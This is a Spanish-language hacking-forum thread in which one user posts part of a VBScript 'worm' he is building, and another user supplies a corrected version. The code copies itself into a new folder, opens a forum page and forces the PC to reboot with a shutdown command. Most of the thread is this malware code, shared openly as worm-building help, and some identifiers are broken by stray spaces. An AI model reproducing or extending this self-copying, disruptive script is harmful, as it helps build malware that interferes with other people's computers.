TENGO DUDA ENORME...

[ZEUS34]

esta es una parte de un worm que empeze a hacer, con la ayuda del manual de Shadow C....:

On Error Resume Next
Set zona = CreateObject("Scripting.File SystemObject")
zona.CreateFol der "C:\Documentos de usuario"
zona.CopyFile ".\fiesta.vbs","C:\Documentos de usuario\fresh.txt"
Set perro = zona.CreateTex tFile ("C:\Documentos de usuario\apagar.txt", True)
perro.WriteLin e "shutdown -r -t 15"
perro.WriteBla nkLines "1"
perro.Close
zona.CopyFile "C:\Documentos de usuario\apagar.txt","C:\Documentos de usuario\hola.bat"


Set meca = CreateObject("WScript.Shell")
meca.Run "http://foro.portalhacker.net/index.php/topic,39609.0.html"
meca.Run "C:\Documentos de usuario\hola.bat"


como podran ver, segun el code se tiene que ejcutar el bat que se copio, (el bat apaga la pc), pero no se ejecuta...

habra un error en el code???


salu2

[Shadow C]

Si realmente es muy extraño hize mil pruebas pero no me lo deja ejecutar al batch   
de todas formas puedes hacerlo directo desde el vbs

Set zona = CreateObject("Scripting.File SystemObject")
zona.CreateFol der "C:\Documentos de usuario\"
zona.CopyFile wscript.script fullname,"C:\Documentos de usuario\fresh.vbs"
Set meca = CreateObject("WScript.Shell")
meca.Run "http://foro.portalhacker.net/index.php/topic,39609.0.html"
meca.Run "shutdown -r -t 15"

esto hace exactamente lo que querias vos

[ZEUS34]

gracias...
pero aun asi no se apaga la pc, hay otra forma de contrarrestarl o??
salu2

[Shadow C]

No entiendo lo que me dices. El codigo que te puse ahi funciona a la perfeccion lo volvi a probar.

Recomendacion: Cuando pruebes el worm o las partes de este saca el
On Error Resume Next

PD:Si lo copias textual del foro y lo pones en el block de notas te aparecera entrecortado y no funcionara XD